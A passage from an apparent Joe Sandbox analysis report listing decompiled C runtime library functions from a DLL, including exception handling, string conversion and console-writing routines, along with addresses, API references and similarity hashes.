									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E6DA8AB10(_t107, E6DA8A8AF(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E6DA8AB10(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x6dad54e4; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x6daa415c();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E6DA90BF9(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x6dab1200);
									E6DA89CA0(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E6DA8C588(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E6DA8D288(_t103, _t108[0x18], E6DA8A8AF( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E6DA8D298(_t103, _t108[0x18], E6DA8A8AF( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E6DA8A8AF();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x6da8c588
0x6da8c58a
0x6da8c58f
0x6da8c594
0x6da8c596
0x6da8c599
0x6da8c59e
0x6da8c6ae
0x6da8c6ae
0x6da8c6ae
0x00000000
0x6da8c5ad
0x6da8c5ad
0x6da8c5b2
0x6da8c5bc
0x6da8c5be
0x6da8c5c3
0x6da8c5c8
0x6da8c5c8
0x6da8c5ca
0x6da8c5cd
0x6da8c5d2
0x6da8c5f4
0x6da8c5f4
0x6da8c5f7
0x6da8c5fa
0x6da8c618
0x6da8c61b
0x6da8c65a
0x6da8c65d
0x6da8c660
0x6da8c685
0x6da8c687
0x00000000
0x6da8c689
0x6da8c689
0x6da8c68b
0x00000000
0x6da8c68d
0x6da8c68d
0x6da8c692
0x6da8c696
0x6da8c696
0x6da8c697
0x00000000
0x6da8c697
0x6da8c68b
0x6da8c662
0x6da8c662
0x6da8c664
0x00000000
0x6da8c666
0x6da8c666
0x6da8c668
0x00000000
0x6da8c66a
0x6da8c67b
0x00000000
0x6da8c680
0x6da8c668
0x6da8c664
0x6da8c61d
0x6da8c61d
0x6da8c621
0x00000000
0x6da8c627
0x6da8c627
0x6da8c629
0x00000000
0x6da8c62f
0x6da8c636
0x6da8c63e
0x6da8c642
0x6da8c644
0x6da8c647
0x6da8c64c
0x6da8c64d
0x00000000
0x6da8c64d
0x6da8c647
0x00000000
0x6da8c642
0x6da8c629
0x6da8c621
0x6da8c5fc
0x6da8c5fc
0x00000000
0x6da8c5fc
0x6da8c5d9
0x6da8c5d9
0x6da8c5de
0x6da8c5e3
0x00000000
0x6da8c5e5
0x6da8c5e7
0x6da8c5f0
0x6da8c5ff
0x6da8c601
0x6da8c6c0
0x6da8c6c0
0x6da8c6c5
0x6da8c6c6
0x6da8c6c8
0x6da8c6cd
0x6da8c6d2
0x6da8c6d5
0x6da8c6d8
0x6da8c6db
0x6da8c6e4
0x6da8c6e4
0x6da8c6dd
0x6da8c6dd
0x6da8c6dd
0x6da8c6e7
0x6da8c6eb
0x6da8c6ee
0x6da8c6ef
0x6da8c6f0
0x6da8c6f1
0x6da8c6f4
0x6da8c6fd
0x6da8c6fd
0x6da8c700
0x6da8c736
0x6da8c702
0x6da8c702
0x6da8c702
0x6da8c705
0x6da8c71c
0x6da8c71c
0x6da8c705
0x6da8c73b
0x6da8c745
0x6da8c751
0x6da8c60f
0x6da8c60f
0x6da8c614
0x6da8c615
0x6da8c64f
0x6da8c656
0x6da8c69a
0x6da8c69a
0x6da8c6a1
0x6da8c6b0
0x6da8c6b3
0x6da8c6bf
0x6da8c6bf
0x6da8c601
0x6da8c5e3
0x00000000
0x00000000
0x00000000
0x6da8c5b2

APIs

___AdjustPointer.LIBCMT ref: 6DA8C64F
___AdjustPointer.LIBCMT ref: 6DA8C672
___AdjustPointer.LIBCMT ref: 6DA8C70E

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: fbfadba9bab8c391f54a26716dc31590541c867dc6f8b32b225631b79761cb85
Instruction ID: 019639104f1065aa07f3a947da39e264e405049fbbb5c066236f059bff659a90
Opcode Fuzzy Hash: fbfadba9bab8c391f54a26716dc31590541c867dc6f8b32b225631b79761cb85
Instruction Fuzzy Hash: CC51B07660C2029FEB198F14D940BBA77A5FF44314F145639EE1657292E731E8D1CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6DA99272 Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DA99272(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E6DA98F81(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E6DA90DEA(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E6DA903A9(GetLastError());
									_t20 =  *((intOrPtr*)(E6DA90403()));
								}
								L14:
								return _t20;
							}
							_t20 = E6DA99814(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6DA903A9(GetLastError());
						return  *((intOrPtr*)(E6DA90403()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E6DA99814(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E6DA90E0E(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x6da99279
0x6da9927e
0x6da9929c
0x6da9929e
0x6da992a1
0x6da992ca
0x6da992d2
0x6da992d4
0x6da992ed
0x6da992f0
0x6da992f3
0x6da99301
0x6da9930e
0x6da99313
0x6da99315
0x6da9932e
0x6da99331
0x6da99331
0x6da99317
0x6da9931e
0x6da99329
0x6da99329
0x6da99333
0x00000000
0x6da99333
0x6da992f8
0x6da992fd
0x6da992ff
0x00000000
0x00000000
0x00000000
0x6da992ff
0x6da992dd
0x00000000
0x6da992e8
0x6da992a3
0x6da992a6
0x6da992a9
0x6da992b8
0x6da992bb
0x6da99292
0x6da99292
0x00000000
0x6da99295
0x6da992af
0x6da992b4
0x6da992b6
0x6da99337
0x6da99337
0x00000000
0x6da992b6
0x6da99280
0x6da99285
0x6da9928a
0x6da9928c
0x6da9928f
0x00000000

APIs

Part of subcall function 6DA98F81: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6DA97659,?,00000000,-00000008), ref: 6DA9902D

GetLastError.KERNEL32 ref: 6DA992D6
__dosmaperr.LIBCMT ref: 6DA992DD
GetLastError.KERNEL32(?,?,?,?), ref: 6DA99317
__dosmaperr.LIBCMT ref: 6DA9931E

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 0dd029f0e3b76ab020b8f3c337269331d99a179a1badf8b1287fda12cb2d5937
Instruction ID: c1665d09b6c338071b9bef9e23ad4afa8aab74162fd84efe229aecffccd2ccec
Opcode Fuzzy Hash: 0dd029f0e3b76ab020b8f3c337269331d99a179a1badf8b1287fda12cb2d5937
Instruction Fuzzy Hash: DE21AF3162C206BF9B109F66CA8096BB7FDFF45368B459519E9189F240DB34EC808BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DA90D0B Relevance: 6.1, APIs: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DA90D0B(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					if( *_t40 != 0) {
						_t15 = E6DA98F81(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						if(_t15 != 0) {
							_t38 = _a8;
							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
								L10:
								_t16 = E6DA90DEA(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
								if(_t16 != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
									_t18 = 0;
								} else {
									E6DA903A9(GetLastError());
									_t18 =  *((intOrPtr*)(E6DA90403()));
								}
								L13:
								L14:
								return _t18;
							}
							_t18 = E6DA90E28(_t38, _t15);
							if(_t18 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6DA903A9(GetLastError());
						_t18 =  *((intOrPtr*)(E6DA90403()));
						goto L14;
					}
					_t41 = _a8;
					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
						_t18 = 0;
						 *((intOrPtr*)(_t41 + 0x10)) = 0;
						goto L14;
					}
					_t18 = E6DA90E28(_t41, 1);
					if(_t18 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6DA90EAD(_a8);
				return 0;
			}

0x6da90d11
0x6da90d16
0x6da90d2d
0x6da90d5f
0x6da90d69
0x6da90d82
0x6da90d88
0x6da90d96
0x6da90da3
0x6da90daa
0x6da90dc3
0x6da90dc6
0x6da90dac
0x6da90db3
0x6da90dbe
0x6da90dbe
0x6da90dc8
0x6da90dc9
0x00000000
0x6da90dc9
0x6da90d8d
0x6da90d94
0x00000000
0x00000000
0x00000000
0x6da90d94
0x6da90d72
0x6da90d7d
0x00000000
0x6da90d7d
0x6da90d2f
0x6da90d35
0x6da90d48
0x6da90d4b
0x6da90d4d
0x6da90d4f
0x00000000
0x6da90d4f
0x6da90d3b
0x6da90d42
0x00000000
0x00000000
0x00000000
0x6da90d42
0x6da90d1b
0x00000000

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: affda1a3cf3d9fd9d204e8a4b73b6aa7ec7188775d8bc253aca928bdcaac0047
Instruction ID: 28e34ca2ab7cb3b3d435f7fb47dbd6276b503086171530f091e1a6f53089bf66
Opcode Fuzzy Hash: affda1a3cf3d9fd9d204e8a4b73b6aa7ec7188775d8bc253aca928bdcaac0047
Instruction Fuzzy Hash: 6221CF3762D216AF9B109F66C95095B77FDAF413E87068515FA18DF140DB30FC8187A8

Uniqueness

Uniqueness Score: -1.00%

Function 6DAA1C86 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DAA1C86(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6dab3a00, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6DAA1C6F();
					E6DAA1C31();
					_t13 = WriteConsoleW( *0x6dab3a00, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6daa1ca3
0x6daa1ca7
0x6daa1cb4
0x6daa1cb9
0x6daa1cd4
0x6daa1cd4
0x6daa1cda

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6DAA1132,?,00000001,?,?,?,6DA9FF72,?,?,00000000), ref: 6DAA1C9D
GetLastError.KERNEL32(?,6DAA1132,?,00000001,?,?,?,6DA9FF72,?,?,00000000,?,?,?,6DAA04FB,?), ref: 6DAA1CA9

Part of subcall function 6DAA1C6F: CloseHandle.KERNEL32(FFFFFFFE,6DAA1CB9,?,6DAA1132,?,00000001,?,?,?,6DA9FF72,?,?,00000000,?,?), ref: 6DAA1C7F

___initconout.LIBCMT ref: 6DAA1CB9

Part of subcall function 6DAA1C31: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6DAA1C60,6DAA111F,?,?,6DA9FF72,?,?,00000000,?), ref: 6DAA1C44

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6DAA1132,?,00000001,?,?,?,6DA9FF72,?,?,00000000,?), ref: 6DAA1CCE

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f303f2307e51ff0ec5cd4b4ea01dfef8526bd86c8f97068528c9088c558ea02e
Instruction ID: 6f452d2ba57c5b2c0c8b7a65a7c5738bc864ddec934375ea17fedba8c13c7245
Opcode Fuzzy Hash: f303f2307e51ff0ec5cd4b4ea01dfef8526bd86c8f97068528c9088c558ea02e
Instruction Fuzzy Hash: 56F03736508265BFCF121F91CD18B9D3F76FB09360B1A8514FA1D96120CB328861DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DA90A0D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6DA90A9D

Strings

pow, xrefs: 6DA90A75, 6DA90A92

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 63733fa271e572a50d0150c6ab1634762a98ee3902b755b884491f536515fccb
Instruction ID: 78ed9879b08c9c2383c11401faa7ca78078fef87b3a906fda0954d8c2b7fbc11
Opcode Fuzzy Hash: 63733fa271e572a50d0150c6ab1634762a98ee3902b755b884491f536515fccb
Instruction Fuzzy Hash: 6A515B75A3C30386CB027B39C95137E3BF4EB41790F29CD59E4A48E598EB35C4C18A9A

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8C200 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6DA8C200(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed int _t81;
				char _t83;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				void* _t102;
				void* _t104;
				void* _t111;

				_t89 = __edx;
				_t76 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t76 = E6DAA227E(__ecx,  *_t76);
				_t77 = _a8;
				_t6 = _t77 + 0x10; // 0x11
				_t96 = _t6;
				_push(_t96);
				_v20 = _t96;
				_v12 =  *(_t77 + 8) ^  *0x6dab3014;
				E6DA8C1C0(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0x6dab3014);
				E6DA8D30C(_a12);
				_t52 = _a4;
				_t104 = _t102 - 0x1c + 0x10;
				_t93 =  *((intOrPtr*)(_t77 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t93 - 0xfffffffe;
					if(_t93 != 0xfffffffe) {
						_t89 = 0xfffffffe;
						E6DA8D490(_t77, 0xfffffffe, _t96, 0x6dab3014);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
					if(_t93 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t81 = _v12;
							_t59 = _t93 + (_t93 + 2) * 2;
							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
							_t60 = _t81 + _t59 * 4;
							_t82 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t83 = _v5;
								goto L7;
							} else {
								_t89 = _t96;
								_t61 = E6DA8D430(_t82, _t96);
								_t83 = 1;
								_v5 = 1;
								_t111 = _t61;
								if(_t111 < 0) {
									_v16 = 0;
									L13:
									_push(_t96);
									E6DA8C1C0(_t77, _t89, _t93, _t96, _v12);
									goto L14;
								} else {
									if(_t111 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0x6daa5010;
											if(__eflags != 0) {
												_t72 = E6DAA1D30(__eflags, 0x6daa5010);
												_t104 = _t104 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t98 =  *0x6daa5010; // 0x6da8a783
													 *0x6daa415c(_a4, 1);
													 *_t98();
													_t96 = _v20;
													_t104 = _t104 + 8;
												}
												_t62 = _a4;
											}
										}
										_t90 = _t62;
										E6DA8D470(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
											_t90 = _t93;
											E6DA8D490(_t64, _t93, _t96, 0x6dab3014);
											_t64 = _a8;
										}
										_push(_t96);
										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
										E6DA8C1C0(_t77, _t90, _t93, _t96, _v12);
										_t86 =  *((intOrPtr*)(_v24 + 8));
										E6DA8D450();
										asm("int3");
										__eflags = E6DA8D4A7();
										if(__eflags != 0) {
											_t67 = E6DA8C53A(_t86, __eflags);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E6DA8D4E3();
												goto L24;
											}
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L28;
							L7:
							_t93 = _t77;
						} while (_t77 != 0xfffffffe);
						if(_t83 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L28:
			}

0x6da8c200
0x6da8c207
0x6da8c20b
0x6da8c20c
0x6da8c212
0x6da8c21e
0x6da8c220
0x6da8c226
0x6da8c226
0x6da8c22f
0x6da8c231
0x6da8c234
0x6da8c237
0x6da8c23f
0x6da8c244
0x6da8c247
0x6da8c24a
0x6da8c251
0x6da8c2ad
0x6da8c2b0
0x6da8c2b8
0x6da8c2bf
0x00000000
0x6da8c2bf
0x00000000
0x6da8c253
0x6da8c253
0x6da8c259
0x6da8c25f
0x6da8c265
0x6da8c2d0
0x6da8c2d9
0x6da8c267
0x6da8c267
0x6da8c267
0x6da8c26d
0x6da8c270
0x6da8c273
0x6da8c276
0x6da8c279
0x6da8c27e
0x6da8c294
0x00000000
0x6da8c280
0x6da8c280
0x6da8c282
0x6da8c287
0x6da8c289
0x6da8c28c
0x6da8c28e
0x6da8c2a4
0x6da8c2c4
0x6da8c2c4
0x6da8c2c8
0x00000000
0x6da8c290
0x6da8c290
0x6da8c2da
0x6da8c2dd
0x6da8c2e3
0x6da8c2e5
0x6da8c2ec
0x6da8c2f3
0x6da8c2f8
0x6da8c2fb
0x6da8c2fd
0x6da8c2ff
0x6da8c30c
0x6da8c312
0x6da8c314
0x6da8c317
0x6da8c317
0x6da8c31a
0x6da8c31a
0x6da8c2ec
0x6da8c320
0x6da8c322
0x6da8c327
0x6da8c32a
0x6da8c32d
0x6da8c335
0x6da8c339
0x6da8c33e
0x6da8c33e
0x6da8c341
0x6da8c345
0x6da8c348
0x6da8c355
0x6da8c358
0x6da8c35d
0x6da8c363
0x6da8c365
0x6da8c36a
0x6da8c36f
0x6da8c371
0x6da8c37c
0x6da8c373
0x6da8c373
0x00000000
0x6da8c373
0x6da8c367
0x6da8c367
0x6da8c367
0x6da8c369
0x6da8c369
0x6da8c292
0x00000000
0x6da8c292
0x6da8c290
0x6da8c28e
0x00000000
0x6da8c297
0x6da8c297
0x6da8c299
0x6da8c2a0
0x00000000
0x6da8c2a2
0x00000000
0x6da8c2a0
0x6da8c265
0x00000000

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6DA8C23F
__IsNonwritableInCurrentImage.LIBCMT ref: 6DA8C2F3

Strings

csm, xrefs: 6DA8C2DD

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 867c7aaaa059cad63d3d36a9649f6b567ea9336ca391450b9de61086660cfb18
Instruction ID: 5e070fd3c8db2bb0cf7c11e0f1de4e3a3c729edf703bfb4dde4c474750511ac6
Opcode Fuzzy Hash: 867c7aaaa059cad63d3d36a9649f6b567ea9336ca391450b9de61086660cfb18
Instruction Fuzzy Hash: 5F417434908219AFCF00DFA8C880AAEBBB5BF45318F188255ED145B393D7359996CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8CB89 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E6DA8CB89(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
